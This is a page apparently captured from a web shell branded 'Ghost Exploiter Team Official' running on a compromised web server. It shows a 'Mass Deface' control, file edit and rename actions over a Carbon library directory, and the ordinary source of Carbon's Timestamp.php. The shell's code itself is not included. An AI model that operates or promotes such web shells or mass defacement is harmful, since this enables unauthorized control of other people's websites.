Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
nesbot
/
carbon
/
src
/
Carbon
/
Traits
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Boundaries.php
12.146KB
edt
ren
Cast.php
1.159KB
edt
ren
Comparison.php
46.094KB
edt
ren
Converter.php
14.122KB
edt
ren
Creator.php
31.392KB
edt
ren
Date.php
228.161KB
edt
ren
DeprecatedPeriodPropert
...
1.89KB
edt
ren
Difference.php
42.634KB
edt
ren
IntervalRounding.php
1.649KB
edt
ren
IntervalStep.php
2.36KB
edt
ren
LocalFactory.php
1.588KB
edt
ren
Localization.php
25.531KB
edt
ren
Macro.php
2.706KB
edt
ren
MagicParameter.php
0.729KB
edt
ren
Mixin.php
6.183KB
edt
ren
Modifiers.php
13.589KB
edt
ren
Mutability.php
1.286KB
edt
ren
ObjectInitialisation.php
0.438KB
edt
ren
Options.php
5.922KB
edt
ren
Rounding.php
6.927KB
edt
ren
Serialization.php
8.872KB
edt
ren
StaticLocalization.php
2.331KB
edt
ren
StaticOptions.php
5.276KB
edt
ren
Test.php
6.444KB
edt
ren
Timestamp.php
6.451KB
edt
ren
ToStringFormat.php
1.416KB
edt
ren
Units.php
14.312KB
edt
ren
Week.php
7.545KB
edt
ren
<?php declare(strict_types=1); /** * This file is part of the Carbon package. * * (c) Brian Nesbitt <brian@nesbot.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Carbon\Traits; use DateTimeZone; /** * Trait Timestamp. */ trait Timestamp { /** * Create a Carbon instance from a timestamp and set the timezone (UTC by default). * * Timestamp input can be given as int, float or a string containing one or more numbers. */ #[\ReturnTypeWillChange] public static function createFromTimestamp( float|int|string $timestamp, DateTimeZone|string|int|null $timezone = null, ): static { $date = static::createFromTimestampUTC($timestamp); return $timezone === null ? $date : $date->setTimezone($timezone); } /** * Create a Carbon instance from a timestamp keeping the timezone to UTC. * * Timestamp input can be given as int, float or a string containing one or more numbers. */ public static function createFromTimestampUTC(float|int|string $timestamp): static { [$integer, $decimal] = self::getIntegerAndDecimalParts($timestamp); $delta = floor($decimal / static::MICROSECONDS_PER_SECOND); $integer += $delta; $decimal -= $delta * static::MICROSECONDS_PER_SECOND; $decimal = str_pad((string) $decimal, 6, '0', STR_PAD_LEFT); return static::rawCreateFromFormat('U u', "$integer $decimal"); } /** * Create a Carbon instance from a timestamp in milliseconds. * * Timestamp input can be given as int, float or a string containing one or more numbers. * * @param float|int|string $timestamp * * @return static */ public static function createFromTimestampMsUTC($timestamp): static { [$milliseconds, $microseconds] = self::getIntegerAndDecimalParts($timestamp, 3); $sign = $milliseconds < 0 || ($milliseconds === 0.0 && $microseconds < 0) ? -1 : 1; $milliseconds = abs($milliseconds); $microseconds = $sign * abs($microseconds) + static::MICROSECONDS_PER_MILLISECOND * ($milliseconds % static::MILLISECONDS_PER_SECOND); $seconds = $sign * floor($milliseconds / static::MILLISECONDS_PER_SECOND); $delta = floor($microseconds / static::MICROSECONDS_PER_SECOND); $seconds = (int) ($seconds + $delta); $microseconds -= $delta * static::MICROSECONDS_PER_SECOND; $microseconds = str_pad((string) (int) $microseconds, 6, '0', STR_PAD_LEFT); return static::rawCreateFromFormat('U u', "$seconds $microseconds"); } /** * Create a Carbon instance from a timestamp in milliseconds. * * Timestamp input can be given as int, float or a string containing one or more numbers. */ public static function createFromTimestampMs( float|int|string $timestamp, DateTimeZone|string|int|null $timezone = null, ): static { $date = static::createFromTimestampMsUTC($timestamp); return $timezone === null ? $date : $date->setTimezone($timezone); } /** * Set the instance's timestamp. * * Timestamp input can be given as int, float or a string containing one or more numbers. */ public function timestamp(float|int|string $timestamp): static { return $this->setTimestamp($timestamp); } /** * Returns a timestamp rounded with the given precision (6 by default). * * @example getPreciseTimestamp() 1532087464437474 (microsecond maximum precision) * @example getPreciseTimestamp(6) 1532087464437474 * @example getPreciseTimestamp(5) 153208746443747 (1/100000 second precision) * @example getPreciseTimestamp(4) 15320874644375 (1/10000 second precision) * @example getPreciseTimestamp(3) 1532087464437 (millisecond precision) * @example getPreciseTimestamp(2) 153208746444 (1/100 second precision) * @example getPreciseTimestamp(1) 15320874644 (1/10 second precision) * @example getPreciseTimestamp(0) 1532087464 (second precision) * @example getPreciseTimestamp(-1) 153208746 (10 second precision) * @example getPreciseTimestamp(-2) 15320875 (100 second precision) * * @param int $precision * * @return float */ public function getPreciseTimestamp($precision = 6): float { return round(((float) $this->rawFormat('Uu')) / pow(10, 6 - $precision)); } /** * Returns the milliseconds timestamps used amongst other by Date javascript objects. * * @return float */ public function valueOf(): float { return $this->getPreciseTimestamp(3); } /** * Returns the timestamp with millisecond precision. * * @return int */ public function getTimestampMs(): int { return (int) $this->getPreciseTimestamp(3); } /** * @alias getTimestamp * * Returns the UNIX timestamp for the current date. * * @return int */ public function unix(): int { return $this->getTimestamp(); } /** * Return an array with integer part digits and decimals digits split from one or more positive numbers * (such as timestamps) as string with the given number of decimals (6 by default). * * By splitting integer and decimal, this method obtain a better precision than * number_format when the input is a string. * * @param float|int|string $numbers one or more numbers * @param int $decimals number of decimals precision (6 by default) * * @return array 0-index is integer part, 1-index is decimal part digits */ private static function getIntegerAndDecimalParts($numbers, $decimals = 6): array { if (\is_int($numbers) || \is_float($numbers)) { $numbers = number_format($numbers, $decimals, '.', ''); } $sign = str_starts_with($numbers, '-') ? -1 : 1; $integer = 0; $decimal = 0; foreach (preg_split('`[^\d.]+`', $numbers) as $chunk) { [$integerPart, $decimalPart] = explode('.', "$chunk."); $integer += (int) $integerPart; $decimal += (float) ("0.$decimalPart"); } $overflow = floor($decimal); $integer += $overflow; $decimal -= $overflow; return [$sign * $integer, $decimal === 0.0 ? 0.0 : $sign * round($decimal * pow(10, $decimals))]; } }
<=Back
Liking